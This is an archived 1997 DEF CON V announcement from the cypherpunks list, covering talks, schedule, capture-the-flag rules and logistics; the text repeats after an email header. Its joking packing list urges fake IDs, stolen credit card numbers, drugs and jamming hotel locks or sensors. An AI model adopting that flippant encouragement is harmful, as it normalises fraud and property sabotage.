 What DEF CON is known for is the open discussion of all ideas, the free
 environment to make new contacts and the lack of ego.  More people have made
 great friends at DEF CON over the years than my brain can conceive of.  DEF
 CON is also known for letting the "Suits" (Government / Corporate) mix with
 everyone and get an idea of what the scene is all about.  The media makes an
 appearance every year and we try to educate them as to what is really going
 on.  Basically it has turned into the place to be if you are at all
 interested in the computer underground.

 [Note]-----------------------------------------------------------------------

 Now last year over 800 people showed up and threw my whole program for a
 loop.  I was thinking 500+ people, but when 800 showed up it got a little
 crazy for the planning staff.  This year I am planning for 1,000.  This
 way I will be able to accommodate everyone and have less logistical screw-
 ups.

 I would also like to apologize to everyone last year who had temporary
 badges for half the convention, etc.  I will do all that is possible for
 maximum coolness, and minimum hassles.   Anyway, enough of my shit, on with
 the details.

 [End Note]-------------------------------------------------------------------

 SPEAKERS:--------------------------------------------------------------------

 Over the years DEF CON has had many notable speakers.  This year there will
 be more of an emphasis on technical talks.  There will be a separate smaller
 room for break-out sessions of more specific topics.  While the talks of the
 past have been great, it always seems some tech people drop out and general
 talks fill in.  I will load it tech heavy so when people do drop out there
 will still be plenty of meat left for the propeller heads.

 There will be some speaking on Friday evening before Hacker Jeopardy, all
 day Saturday and Sunday.  About 20 people will speak, plus smaller tech
 sessions.  If you are interested in speaking or demonstrating something
 please contact me.

 Current speakers include:

 [> Nhil - Windows NT (in)security.  The challenge response system, NT 5.0
    Kerb security services, man in the middle attacks on domain controllers.
    This will be a more technical discussion of NT related security.

 [> Koresh - Hacking Novell Netware.

 [> Yobie - Emerging infrastructures made possible by Java.  He will describe
    and talk about Java as the foundation for a global, object-oriented
    distributed network.  New concepts and computing paradigms will discussed
    as well as applications for both applications development or straight-out
    hacking.

 [> Mudge - System Administrator for L0pht Heavy Industries.  He will present
    a technical talk on something cool.

 [> Clovis - From the Hacker Jeopardy winning team.  He will discuss issues
    with security and networked object systems, looking at some of the
    recent security issues found with activeX and detail some of the
    potentials and problems with network objects. Topics will include
    development of objects, distributed objects, standards, ActiveX, corba,
    and hacking objects.

 [> Bruce Schneier - Author of Applied Cryptography and the Blowfish
    algorithm - Why cryptography is harder than it looks.

 [> FBI Computer Crime Squad - They will make another appearance this year
    only if I can bribe them with the audio from last years convention.  Can
    I do it in time?

 [> Richard Thieme - "The Dynamics of Social Engineering: a cognitive map for
    getting what you need to know, working in networks, and engaging in
    espionage quietly; the uses of paranoia, imagination, and grandiosity
    to build the Big Picture.

 [> Wrangler - Packet Sniffing:  He will define the idea, explain everything
    from 802.2 frames down to the TCP datagram, and explain the mechanisms
    (NIT, bpf) that different platforms provide to allow the hack.

    Wrangler has been programming since seven column paper tape.  He is a
    loner with the social skills of a California Condor.  He has never been
    a member of LOD, MOD, or any other group.  He has written no books, is
    not currently employed, and refuses to discuss what he refers to as "that
    credit card provider thing back when I used to do mainframe shit."   His
    current projects include looking for his next Fortune 100 contract and
    writing the DEFCON V virus.

 [> Seven - What the feds think of us.

 [> Richard K. - Electronic countermeasures, counter espionage, risk
    management.  Should include a demonstration of electronic
    countermeasures equipment as well as a talk on what works, what doesn't,
    and the industry.

 [> Tom Farley the Publisher of the "Private Line" journal, and Ken
    Kumasawa of TeleDesign Management - Toll Fraud in the 90s: Two
    perspectives.  An overview of phreaking from a hackers point of view and
    an industry/security consultants point.

 [> Michael Quattrocchi - The future of digital cash and a presentation about
    the modernization and state of register-level debit cards; in effect
    currently throughout Canada.

 [> The Deth Vegetable - "The Cult of the Dead Cow embarks on a new era of
    Global Domination for the 21st Century three years early -- if you're
    not at Defcon this year, you won't be down with the master plan.
    Important announcements and startling new developments that will affect
    the entire history of the Computer Underground as you know it."

 [> Ira Winkler - Real life case studies of successful and unsuccessful
    corporate espionage.

 [> Sameer Parekh - c2.net - Why cryptography is harder than it looks, part
    two.  A look at implementation and production problems facing people and
    companies wishing to develope and distribute strong encryption.

 [> Carolyn P. Meinel - Moderator of the Happy Hacker Digest and mailing
    lists.  She will preside over a seperate Happy Hacker discussion
    pannel that will cover the topics of wether or not "newbies" should have
    information handed to them, or should they learn for themselves?

 [> Dan Veeneman -  Low Earth Orbit satellites are nearing the launch stage,
    and this talk will cover the different systems that are planned and some
    of the services they'll offer.  A bit on GPS that wasn't covered last
    year as well as the ever popular question and answer section.

 [> Hobbit - CIFS is a load of CACA - Random SMB CIFS stuff in Microsfot
    products.

 [> Cyber - An overview and explanation of available crypto-tools.  What
    tools and programs do what, when to use them and on what platforms.
    From someone who has spent lots of time playing around with the
    currently available set of applications.

 [> Keith - Has some experience writing firmware for embedded
    microcontroller applications, and is giving a technical talk on
    applications of microcontrollers in the h/p community.

 [> James Jorasch - Hacking Vegas - How to games the gamers.  From someone
    who used to deal with hotel casino security.  What really goes on?

 SCHEDULE:--------------------------------------------------------------------

 FRIDAY:  Network Setup, Sign in, Informal PGP Keysigning at the "PGP table",
 Lots of Partying.  Capture the Flag Contest Starts at 16:00

 On Friday there will be the demonstrations of the Radio Burst Cannon, a
 "real" rail gun, and an omni-directional cell phone jammer.  Times to be
 announced.

 10:00 -       Doors open, sign in starts
 10:00 -       Movies start in main conference room
 16:00 -       Capture the Flag II starts
 15:30 -       Round up and head off for demonstrations of HERF, and
               rail gun madness.  Nothing may happen, then again..

 23:30 - 23:00 James Jorasch - "Hacking Vegas" how to beat the system in
               Vegas by someone who knows it inside and out.
 23:00 - 03:00 Hacker Jeopardy Starts.

 SATURDAY:

 10:00 - 10:50 Richard Thieme - The Dynamics of Social Engineering.
 11:00 - 11:50 Yobie - Emerging infrastructures made possible by Java.
 12:00 - 12:50 Clovis - issues with security and networked object systems.
 13:00 - 13:50 FBI Computer Crime Squad -
 14:00 - 14:50 Deth Veggie - Global Domination, cDc style.
 15:00 - 15:50 Seven - What the feds think of us.
 16:00 - 16:50 Richard K. -
 17:00 - 17:50 Tom Farley and Ken K. - Toll Fraud in the 90s: Two
               perspectives.

 Saturday Breakout Tech Sessions:

 Koresh     - Novell issues.
 Mudge      - Secure Coding.
 Hobbit     - Why CIFS is CACA.
 Nihil      - NT security issues.
 Wrangler   - Packet Sniffing.
 Keith      - firmware for embedded microcontroller applications.

 24:00 (Midnight) Final rounds of Hacker Jeopardy.

 SUNDAY:

 10:00 - 10:50 Ira Winkler - Industrial Espionage.
 11:00 - 11:50 Sameer - Why cryptography is harder than it looks, part two.
 12:00 - 12:50 Cyber - An overview and explanation of available crypto-tools.
 13:00 - 13:50 Carolyn Meinel - Happy Hacker Panel.
 14:00 - 14:50 Michael Q. - The future of digital cash.
 15:00 - 15:50 Dan Veeneman - Low Earth Orbit satellites.

 Sunday Breakout Tech Sessions:

 Happy Hacker track

 Panel: "The Newbie Experiments"

 Moderator is Carolyn Meinel, author of the Guides to (mostly) Harmless
 Hacking series. Other panel members are:

 - Matt Hinze, editor of the Happy Hacker Digest.
 - Bronc Buster, who runs a Web forum, IRC server and the New Buckaroos Web
   site for his fast-growing band of newbies.
 - Mark Biernacki of Shellonly.com will talk about this new ISP which is
   designed to make it easy for newbies to learn to hack. Just say "Telnet
   port 22!"
 - Jericho, who will hold forth on "Let the newbies fend for themselves."

 We will allow each panel member to open with a brief presentation of his or
 her work, followed by debate first among panel members, followed by Q&A from
 the audience. We expect some intense debate:-)

 Then if the Aladdin hotel hasn't yet been demolished yet by riots, we will
 continue with a series of individual presentations:

 - Jon McClintock, editor of Happy-SAD (Systems Administrator Digest) will
   demonstrate how to install Linux.
 - Bronc Buster will hold forth on the Windows 95 denial of service programs
   his Web site offers.
 - Carolyn Meinel will demonstrate how to read email headers, create, and
   decipher forged email.

 Breakout Tech Sessions:

 16:00          Awards for Capture the Flag
                End of it all, cleanup, etc.  See you all next year!

 EVENTS:----------------------------------------------------------------------

 [>     HACKER JEOPARDY:

        Winn is back with Hacker Jeopardy!!  The third year in the running!
        Can the all-powerful Strat and his crypto-minion Erik, whose force
        cannot be contained, be defeated?!  Will the powers that be allow
        Strat-Meister to dominate this beloved event for the third year in
        a row?!  Can Erik continue to pimp-slap the audience into submission
        with a spoon in his mouth?!?  Only Skill, Time, and booze will tell
        the tail!

        The Holy Cow will help supply the beer, you supply the answers.
        The first round starts at 12 midnight o'clock on Friday and lasts
        until it is done.  The second and secret rounds will happen Saturday
        at midnight.

        6 teams will be picked at random and compete for the final round.
        There can be only one!  Strat's Team, the winners from last year
        will defend if all the members can be found.

 [>     FREE BEER!

        Holy Cow will provide free beer tickets!  If you are over 21 prepare
        to consume "hacker" beers.  Actually it's whatever beer they have on
        tap, but it's the best beer in Las Vegas.  Follow Las Vegas Blvd. up
        until you see the florescent cow with the big sunglasses.  All taxi
        drivers know of this Mecca.  Over 1,000 free beers in all!

 [>     BLACK AND WHITE BALL:

        We've talked it over, and the verdict is in.  For the last two years
        at DEF CON there has been a sort of unspoken Saturday night dress up
        event.  People have worn everything from party dresses and Tuxedoes
        to AJ's ultra pimp Swank outfit with tiger print kilt.  This year it
        is official.  Wear your cool shit Saturday night, be it gothic or PVC
        vinyl or Yakuza looking black MIBs.  No prizes, just your chance to
        be the uber-bustah pimp.

 [>     THE TCP/IP DRINKING GAME:

        If you don't know the rules, you'll figure 'em out.

 [>     CAPTURE THE FLAG:


                  ALL NEW, ALL IMPROVED, MORE CONFRONTATIONAL,
                         1997 ILLUMINATI INVITATIONAL,
                        CAPTURE THE FLAG, HACKER STYLE.

      The goal is to take over everybody else's server while protecting your
      own. To cut down on lag time and federal offences we're providing a
      playing field of 5 flag-machine networks connected by a big router in
      the middle.

      The rules:

      1) No taking the network down for more than 60 seconds.
      2) No taking any flag machine (including your own) down for more than
         3 minutes.
      3) In order to be counted in the game, a team's flag machine must
         - be directly connected to the network;
         - have a text file flag on the machine readable by at least 2
           accounts,
         - keep at least 3 *normal* services running in a way that a
           client could actually get their work done using them.       
         - run a web server if technically possible.
      4) No goonery/summoning of elder gods/Mickey Finns/physical
         coercion... you get the idea.  ( You had the idea, but we're
         trying to prevent you from using it. )


      The field of play :
      Each network will have a "server" of some kind on it, called the flag
      machine. At the start of the game, these servers will be stock
      installations a lot like what you'd see on the average academic/secret
      cabal/military/megacorp  network. Each of these machines  will have a
      PGP private key, named root.flag, and a web server.

      There will also be a machine to provide DNS, called the scoreboard.

      Teams:
      Teams can be one human or more. In order to be a team, you have
      to generate 20 256bit PGP key pairs, have a DEFCON goon pgp-sign
      them and put the public keys on the scoreboard webserver. We'll
      generate a hundred key pairs in advance, so the first five teams can
      just grab a floppy disk (if they're trusting).

      To prove that you've hacked a flag machine, PGP - sign a message with
      the root.flag from the hacked machine, then with one of your own.
      Post the doubly-signed message on the scorekeeper  web server, and
      you've captured that flag (and invalidated the captured root.flag).

      When you've captured a flag, decide between conquest and
      condescension: either take over the server yourself, or hand it back
      to its not-so-eleet owners. To conquer, put one of your PGP private
      keys on the captured server to become the next root.flag.  (Of
      course, you have to properly secure the server to maintain your new
      territory.)

      To condescend, just wait until the original owners see their shame
      spread across the scoreboard. (It would sure be a pity if
      they had to put up a new key before they figured out how you got in
      last time, wouldn't it?)

      Two Ways to Win:

      #1 EVIL EMPIRE: Whoever has the most servers responding with their
         teams' private keys at the end wins.

      #2 PIRATE: Fabulous prizes will also be given to whoever racks up the
         highest total number of flags captured.

      Rough game mechanics (why is everyone so untrusting?):
      Once every 5 minutes or more, the scoreboard machine will post a
      plaintext challenge.  Every team that claims to own a server has to
      PGP-sign that challenge with the private key registered for that
      server and post the signed version on their machine. If a server
      can't respond within 3 minutes, then nobody owns it, and it's fair
      game to be taken back over by the goons.

      Specific rules will be available in print at DefCon before the game
      begins.

      This was a message from The People


 [>     QUAKE COMPETITION:

        http://www.ctive.com/ntech/defcon.htm

        This year knightPhlight contacted me and wanted to organize a single
        elimination Quake competition to find out who that badest ass 'mo 'fo
        is.  Check out the web site to get the rules, sign up, or to
        donate a computer the greater good of destruction.

        It is IMHO that Quake by id Software rules 3D action gaming. But who
        rules Quake?  We'll find out this July 11th-13th at the DefCon
        Conference in Las Vegas. This isn't going to be a networked game
        intent on quickly eliminating as many players as possible in a single
        round. Rather, one-on-one games will be played to absolutely
        determine who the best really is.

        Of course, you already know your the best so why would you feel
        obligated to prove it? Because we'll give the first place winner
        $750. Now, being the wily person you are, I bet you would like to
        know where I got the money for the prizes. It'll come from your
        registration fee of $7.50.  Any half wit can do the math and see the
        10,000% return for the winner. But just for entering you'll be in a
        drawing for really kewl stuff. If you don't think its kewl you can
        just give us your email address and we'll be happy to send you a
        couple hundred thousand messages explaining why the prizes are great.

 [>     NET CONNECTION AND TOPOLOGY:

        DefCon 5 Network Plan (v.99)

        Telecommunications
        ------------------
        Media Type: T1 ESF/B8ZS (not D4/AMI)
        Service Provider: Las Vegas Digital Internet
        Telco: Sprint

        Equipment needed Equipment on-hand
        ---------------- ----------------------------------------------
        CSU/DSU Verilink AS2000's with NCC 2301 cards (JC)
        Router Cisco 2501 (Lock)
        Net Admin server (Lock )
        10bT Hubs 16-port from Lock - need more to populate the room
        10bT Cable (miles) Everybody bring their own - will need some extra
        to link hubs

        Network Services:
        -----------------
        Web Server
        CU-reflector
        RealAudio Server
        IRC server?

        This year we are pre-building many of the network boxes so the net
        can go up first thing Friday.  It looks like we will have a T1 line
        and we will break it out to 10 BaseT hubs.  If you want in on the
        network bring along the appropriate cables and adapters.

        More Net Madness!  The T1 bandwidth will allow us to do the
        following cool stuff:

        - Have several color quickcams and a CU-SeeMe reflector site set
        up so people not at the con can check out what's going on.  During
        the convention check out the DEF CON web site to get the location
        of the reflector site.  You should get and install the software
        needed to view CU-SeeMe streams in advance!

        - Have a RealAudio server set up to stream the speakers talks to
        those who can not attend.

        - Potentially play a competitive multi user game(s) over the net.

        NOTE!  If you wish to participate interactively with the convention
        please e-mail me and we can coordinate something.  It would be
        great to get people from all over the world involved.

 [>     5th ANNUAL SPOT THE FED CONTEST:

        The ever popular paranoia builder.  Who IS that person next to you?

        "Like a paranoid version of pin the tail on the donkey, the
        favorite sport at this gathering of computer hackers and phone
        phreaks seems to be hunting down real and imagined telephone
        security and Federal and local law enforcement authorities who the
        attendees are certain are tracking their every move.. .. Of course,
        they may be right."
                                                        - John Markhoff, NYT

        Basically the contest goes like this:  If you see some shady MIB
        (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood
        to live and die in LA type lurking about, point him out.  Just get
        my attention and claim out loud you think you have spotted a fed.
        The people around at the time will then (I bet) start to discuss the
        possibility of whether or not a real fed has been spotted.  Once
        enough people have decided that a fed has been spotted, and the
        Identified Fed (I.F.) has had a say, and informal vote takes place,
        and if enough people think it's a true fed, or fed wanna-be, or
        other nefarious style character, you win a "I spotted the fed!"
        shirt, and the I.F. gets an "I am the fed!" shirt.

        NOTE TO THE FEDS:  This is all in good fun, and if you survive
        unmolested and undetected, but would still secretly like an "I am
        the fed!" shirt to wear around the office or when booting in doors,
        please contact me when no one is looking and I will take your
        order(s).  Just think of all the looks of awe you'll generate at
        work wearing this shirt while you file away all the paperwork
        you'll have to produce over this convention.  I won't turn in any
        feds who contact me, they have to be spotted by others.

        DOUBLE SECRET NOTE TO FEDS:  This year I am printing up extra "I
        am the Fed!" shirts, and will be trading them for coffee mugs,
        shirts or baseball hats from your favorite TLA.  If you want to
        swap bring along some goodies and we can trade.  Be stealth about
        it if you don't want people to spot you.  Agents from foreign
        governments are welcome to trade too, but I gotta work on my mug
        collection and this is the fastest way.

 [>     RAIL GUN DEMONSTRATION: (Friday)

        On Friday afternoon there will be a demonstration of a hand held
        rail gun.  This garage project should be able to fire a graphite
        washer very, very fast.

 [>     OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday)

        Another interesting creation to be tested on Friday in the desert.
        Come along and watch you cell phone antenna explode with power!
        See control channels crumble before you.

 [>     RADIO BURST CANNON DEMONSTRATION: (Friday)

        While not quite a HERF gun, this should come close.  The RBC should
        be able to produce up to or less than one MegaWatt for up to or less
        than one second.  What will this do?  Who knows!  Come and find out.
        Obviously the above demonstrations will take place away from the
        local hospitals and casinos out in the desert someplace, so be
        prepared.


 HOTELS:----------------------------------------------------------------------

 [> Book your room NOW!!!  We have a block of rooms, but it is first come,
 [> first served.  Rooms get released about one month before the convention.
 [> Book by June 9th or risk it.  The room rates are quite cool this year.


        PRIMARY HOTEL: The Aladdin Hotel and Casino
        3667 Las Vegas Blvd. South, Las Vegas, Nevada
        Built in 1966 it is one of the oldest hotels in Las Vegas that
        hasn't been blown up to make room for newer ones.  It is quite nice
        and has Tennis courts, two swimming pools, Chinese, Vietnamese and
        Korean.  A Seafood and steakhouse, Joe's Diner and a 24 hour coffee
        shop too.  It's located next to the MGM Theme park on the strip.

        PHONE: 1-800-634-3424, reference the "DC Communications conference"
        for reservations.  702-736-0222

        RATES: Single & Double rooms are $65 in the Garden section, $85 for
        the Tower.  Suites are $250 to $350.  All costs are plus 8% room tax.
        Rollaway beds are available for an additional $15 a night.


 STUFF IN VEGAS:--------------------------------------------------------------

 URLs

         Listings of other hotels in Las Vegas, their numbers, WWW pages, etc.
         http://www.intermind.net/im/hotel.html
         http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html

 VENDORS / SPONSORS / RESEARCH:-----------------------------------------------

         If you are interested in selling something (shirts, books,
         computers, whatever) and want to get a table contact me for costs.

         If you have some pet research and you want to have the participants
         fill out anonymous questioners please contact me for the best way
         to do this.

         If you want to sponsor any event or part of DEF CON V in return for
         favorable mentions and media manipulation please contact me.  For
         example in the past Secure Computing has sponsored a firewall
         hacking contest.

 MORE INFO:-------------------------------------------------------------------

  [>     DEF CON Voice Bridge (801) 855-3326

         This is a multi-line voice bbs, VMB and voice conference system.
         There are 5 or so conference areas, with up to eight people on each
         one.  Anyone can create a free VMB, and there are different voice
         bbs sections for separate topics.  This is a good neutral meeting
         place to hook up with others.

         The Voice bridge will be changing numbers soon, but the old number
         will refer you to the new location.  The new spot won't suffer from
         "Phantom" bridges!

  [>     MAILING LIST

         send emial to majordomo@merde.dis.org and in the body of the message
         include the following on a separate line each.

         subscribe dc-stuff

         dc-announce is used for convention updates and major announcements,
         dc-stuff is related to general conversation, planning rides and
         rooms, etc.

  [>     WWW Site http://www.defcon.org/

         Convention updates and archives from previous conventions are housed
         here.  Past speakers, topics, and stuff for sale.  Also a growing
         section of links to other places of interest and current events.

  [>     The Third Annual California Car Caravan to DEF CON!
         http://www.netninja.com/caravan

         There are also some resources (links to other web sites and text
         files) generally related to DefCon--not specifically the California
         Caravan. These resources are available at:
         http://www.netninja.com/caravan/resources.html

  [>     The DEF CON V Car ride sharing page:  Use this site to arrange ride
         sharing to the convention from all over North America.  If you can
         spare a seat for someone, or need to leech a ride go to the ride
         sharing page set up by Squeaky.

         http://garbage.bridge.net/~defcon/defcon.html

  [>     EMAIL dtangent@defcon.org

         Send all email questions / comments to dtangent@defcon.org.  It has
         been said that my email is monitored by various people.  If you want
         to say something private, please do so with my pgp key (At the
         bottom of this announcement)  I usually respond to everything, if
         not I'm swamped or had a system problem.

  [>     GIVE ME MONEY! SNAIL MAIL PRE-REGISTRATION

         Send all written materials, pre-registrations, etc. to:

         DEF CON, 2709 E. Madison, Seattle WA, 98112
         If you are pre-registering for $30 please make payable to DEF CON
         and include a name to which you want the registration to apply.
         I don't respond to registrations unless you request.

 DO YOU WANT TO HELP?---------------------------------------------------------

         Here is what you can do if you want to help out or participate in
         some way:

         Donate stuff for the continuous giveaways and the various contests.
         Got extra ancient stuff, or new cool stuff you don't use anymore?
         Donate it to a good cause!  One person was very happy over winning
         an osborne "portable" computer.

         ORGANIZE sharing a room or rides with other people in your area.
         Join the mailing list and let people know you have floor space or
         some extra seats in your car.  Hey, what's the worst that can
         happen besides a trashed hotel room or a car-jacking?

         CREATE questions for hacker jeopardy (you know how the game is
         played) and email them to winn@infowar.com.  No one helped out last
         year, so this year let's try.  Everything from "Famous narks" to
         "unix bugs" is fair game.

         BRING a machine with a 10bt interface card, and get on the local
         network, trade pgp signatures, etc.

 FINAL CHECK LIST OF STUFF TO BRING:------------------------------------------

         From: Enigma

          Here is a list of items to bring to DefCon.  These are only
         suggestions.  Your mileage may vary.  :)

         Items to bring to DefCon
         ~~~~~ ~~ ~~~~~ ~~ ~~~~~~
         Clothing
         - Comfortable shirts and pants/shorts
         - Socks, underwear, etc
         - Bathing suit
         - Toiletries (deodorant, toothbrush, comb, hair spray,..., giant
           tub of hair grease, Oxy pads, etc)
         - An extra towel (don't leave home without it.  Anyway, doesn't
           it always seem that you run out of clean towels in the
           bathroom?)
         - Something cool, hip, pimp-o-matic, or ninja-riffic to wear
           Saturday night at the Black and White Ball
           You can skip the deodorant and extra clothing if all you are going
           to do is play "Magic: The Gathering" and "Quake."  Everyone else
           does.

         Stuph
         - Your shades.  Vegas is hot.  The sun is bright.  'Nuff said.
           (If you wear eye glasses, I hear the clip-on, flip-up sunglasses
           are quite the fashion statement)
         - Sunscreen of at least SPF 100.  After spending hundreds of hours
           in front of the monitor, who needs the sun to ruin their ghostly
           white tan?
         - A hat--preferably with a cool logo or catchy phrase like "Gandalf
           Routers," "Netscape," "Microsoft [with "sucks" scrawled below it
           in permanent marker]", "I [heart] [insert government institution:
           Cops, Feds, etc]"...you get the idea
         - Note book, palmtop, or laptop to take notes on during the speeches
         - [Micro]casette recorder to record the speeches (or everyone
           getting drunk in your room Saturday night, not knowing what they
           are saying, with no hope of remembering it...excellent blackmail
           material!)
         - Camcorder (see above...<>)
         - Digital camera--for all of the above reasons PLUS you can
           instantly upload the images through the T1 onto the net
         - Fake ID for all of you under 18/21
         - Fake ID for everyone else, if you're planning something illegal
         - Your best jokes (Nooooo!  Not the superman joke!  Not the pink
           joke)
         - Your best hacking stories...these are all about something "your
           friend" did, aren't they?  You wouldn't admit to doing anything
           illegal, now, would you?
         - Someone else's--oops, I mean "your" credit card numbers

         Fun
         - Your drug(s) of choice -- From caffeine to pot to speed to acid
         - Zippo and extra fuel.  And while you're at it, put an extra flint
           (assuming you can find one in the back of your junk drawer) in
           the bottom.  You always run out at just the wrong time.
         - Extra smokez (Splurge: get some cigars or cloves for the weekend)
         - Leather
         - Handcuffs and chains, nipple clamps, etc.
         - Saran wrap, duct tape, electrical tape, gaffer's tape
         - Candles (the drippy kind)
         - Incense
         - Oils
         - Your copy of "The Pocket Kama Sutra" (ISBN 0-7894-0437-0)
         - That corn starch and water "slime" that Light Ray (I believe) and
           others believed to be the ultimate thing, several DefCon's back.

         Tech
         - Laptop w/ Ethernet card
         - Extra laptop battery
         - A zip drive with a stack of disks containing all your soooper
           k-rad haxing utilities and g-files
         - 10bt/10b2 cabling
         - A small hub
         - You did remember to put a packet sniffer on your zip disk, right?
           Just checking.
         - Every power cord you could possibly need
         - A serial cable with a plethora of adapters so you can get each
           end to be male/female, 9pin/25pin, null-modem/straight
         - Cable to connect the above mentioned digital camera to the laptop
         - Scanner (modded, of course)
         - Frequency counter (I hear the "Scout" is pretty good)
         - HAM radio.  Any band, any frequency.  You didn't modify it to
           transmit on arbitrary frequencies, did you?  Naughty monkey!
         - An assortment of tuned antennas
         - That zip disk has the FCC frequency allocations on it, right?
         - Your uber-elite organizer (the DOS based HP palmtops are quite
           cool) to collect handles and email addresses from people
         - High energy weapons ("Is that an unlicensed nuclear accelerator
           on your back?"  "No, it's just a HERF gun."  "Oh.")
         - Laser pointer (don't get kicked out of the hotel again, youz
           doodz)
         - Your "white courtesy phone" that you stole from the Monte Carlo
           last year
         - A microbroadcasting station with plenty of tuneage
         - Your lock picks or lock picking gun
         - A pocket-sized tool kit containing a modular screwdriver and
           plenty of attachments (flathead, philips, torx, hex, etc)
         - A pocket knife, pliers and wire cutters--or alternatively a
           Leatherman's tool
         - Hell, while you're at it: why not some bring bolt cutters, a
           sledge hammer, and a hack saw?
         - Telephone handset with alligator clips.  Or, if you're uber-
           31337, you have a lineman's butt set (with the serial number
           and telco logo filed off)
         - Bubble gum or epoxy putty--anything maleable and hardens.
           This is good for fixing hoses under the hood of your car.
           It's also useful to jam mechanical sensors (What would happen
           if the microwave always though it's door was open?  Or if the
           elevator always thought there was someone blocking the path
           of the door?  Wouldn't hotel security be pissed if they
           couldn't get into their security room because someone jammed
           a toothpick into the keyhole with krazy glue?)
         - An alabi
         - Spam
         - Multimeter
         - Cordless electric soldering iron
         - Parts box

 MY PGP KEY:------------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 2 Jul 1997 01:33:31 +0800
To: cypherpunks@toad.com
Subject: DEF CON V Convention Announcement #1.19 (06.30.97)
Message-ID: <v03007806afdee8e1a8f9@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



[I'm planning to show up Friday morning. Anyone else going? --Declan]

*******

 READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

             DEF CON V Convention Announcement #1.19 (06.30.97)
          July 11-13th @ the Aladdin Hotel and Casino in Las Vegas

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                     The only convention with free beer!

 IN SHORT:--------------------------------------------------------------------

         WHAT: Speakers and partying in Vegas for all hackers
         WHEN: July 11th - 13th
         WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino
         COSTS: $30 in advance, $40 at the door
         MORE INFO: http://www.defcon.org or email info@defcon.org

 IN LONG:---------------------------------------------------------------------

 It's time to brave Las Vegas again for DEF CON!  This is an initial
 announcement and invitation to DEF CON V, a convention for the "underground"
 elements of the computer culture.  We try to target the (Fill in your
 favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers,
 Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks,
 Futurists, Artists, Criminally Insane, Hearing Impaired.  It seems that
 books about the culture are becoming more popular, so of course reporters
 are also welcome.  You won't be hurt.  I promise.  Just bring cash for
 drinks.

 So you heard about DEF CON IV, and want to hit part V?  You heard about the
 parties, the info discussed, the bizarre atmosphere of Las Vegas and want to
 check it out in person?  You want to do weird shit _away_ from the hotel
 where you can't get me in trouble?  You have intimate knowledge of the SWIFT
 network, and want to transfer millions of dollars to the Def Con account?
 Then you're just the person to attend!

 What DEF CON is known for is the open discussion of all ideas, the free
 environment to make new contacts and the lack of ego.  More people have made
 great friends at DEF CON over the years than my brain can conceive of.  DEF
 CON is also known for letting the "Suits" (Government / Corporate) mix with
 everyone and get an idea of what the scene is all about.  The media makes an
 appearance every year and we try to educate them as to what is really going
 on.  Basically it has turned into the place to be if you are at all
 interested in the computer underground.

 [Note]-----------------------------------------------------------------------

 Now last year over 800 people showed up and threw my whole program for a
 loop.  I was thinking 500+ people, but when 800 showed up it got a little
 crazy for the planning staff.  This year I am planning for 1,000.  This
 way I will be able to accommodate everyone and have less logistical screw-
 ups.

 I would also like to apologize to everyone last year who had temporary
 badges for half the convention, etc.  I will do all that is possible for
 maximum coolness, and minimum hassles.   Anyway, enough of my shit, on with
 the details.

 [End Note]-------------------------------------------------------------------

 SPEAKERS:--------------------------------------------------------------------

 Over the years DEF CON has had many notable speakers.  This year there will
 be more of an emphasis on technical talks.  There will be a separate smaller
 room for break-out sessions of more specific topics.  While the talks of the
 past have been great, it always seems some tech people drop out and general
 talks fill in.  I will load it tech heavy so when people do drop out there
 will still be plenty of meat left for the propeller heads.

 There will be some speaking on Friday evening before Hacker Jeopardy, all
 day Saturday and Sunday.  About 20 people will speak, plus smaller tech
 sessions.  If you are interested in speaking or demonstrating something
 please contact me.

 Current speakers include:

 [> Nhil - Windows NT (in)security.  The challenge response system, NT 5.0
    Kerb security services, man in the middle attacks on domain controllers.
    This will be a more technical discussion of NT related security.

 [> Koresh - Hacking Novell Netware.

 [> Yobie - Emerging infrastructures made possible by Java.  He will describe
    and talk about Java as the foundation for a global, object-oriented
    distributed network.  New concepts and computing paradigms will discussed
    as well as applications for both applications development or straight-out
    hacking.

 [> Mudge - System Administrator for L0pht Heavy Industries.  He will present
    a technical talk on something cool.

 [> Clovis - From the Hacker Jeopardy winning team.  He will discuss issues
    with security and networked object systems, looking at some of the
    recent security issues found with activeX and detail some of the
    potentials and problems with network objects. Topics will include
    development of objects, distributed objects, standards, ActiveX, corba,
    and hacking objects.

 [> Bruce Schneier - Author of Applied Cryptography and the Blowfish
    algorithm - Why cryptography is harder than it looks.

 [> FBI Computer Crime Squad - They will make another appearance this year
    only if I can bribe them with the audio from last years convention.  Can
    I do it in time?

 [> Richard Thieme - "The Dynamics of Social Engineering: a cognitive map for
    getting what you need to know, working in networks, and engaging in
    espionage quietly; the uses of paranoia, imagination, and grandiosity
    to build the Big Picture.

 [> Wrangler - Packet Sniffing:  He will define the idea, explain everything
    from 802.2 frames down to the TCP datagram, and explain the mechanisms
    (NIT, bpf) that different platforms provide to allow the hack.

    Wrangler has been programming since seven column paper tape.  He is a
    loner with the social skills of a California Condor.  He has never been
    a member of LOD, MOD, or any other group.  He has written no books, is
    not currently employed, and refuses to discuss what he refers to as "that
    credit card provider thing back when I used to do mainframe shit."   His
    current projects include looking for his next Fortune 100 contract and
    writing the DEFCON V virus.

 [> Seven - What the feds think of us.

 [> Richard K. - Electronic countermeasures, counter espionage, risk
    management.  Should include a demonstration of electronic
    countermeasures equipment as well as a talk on what works, what doesn't,
    and the industry.

 [> Tom Farley the Publisher of the "Private Line" journal, and Ken
    Kumasawa of TeleDesign Management - Toll Fraud in the 90s: Two
    perspectives.  An overview of phreaking from a hackers point of view and
    an industry/security consultants point.

 [> Michael Quattrocchi - The future of digital cash and a presentation about
    the modernization and state of register-level debit cards; in effect
    currently throughout Canada.

 [> The Deth Vegetable - "The Cult of the Dead Cow embarks on a new era of
    Global Domination for the 21st Century three years early -- if you're
    not at Defcon this year, you won't be down with the master plan.
    Important announcements and startling new developments that will affect
    the entire history of the Computer Underground as you know it."

 [> Ira Winkler - Real life case studies of successful and unsuccessful
    corporate espionage.

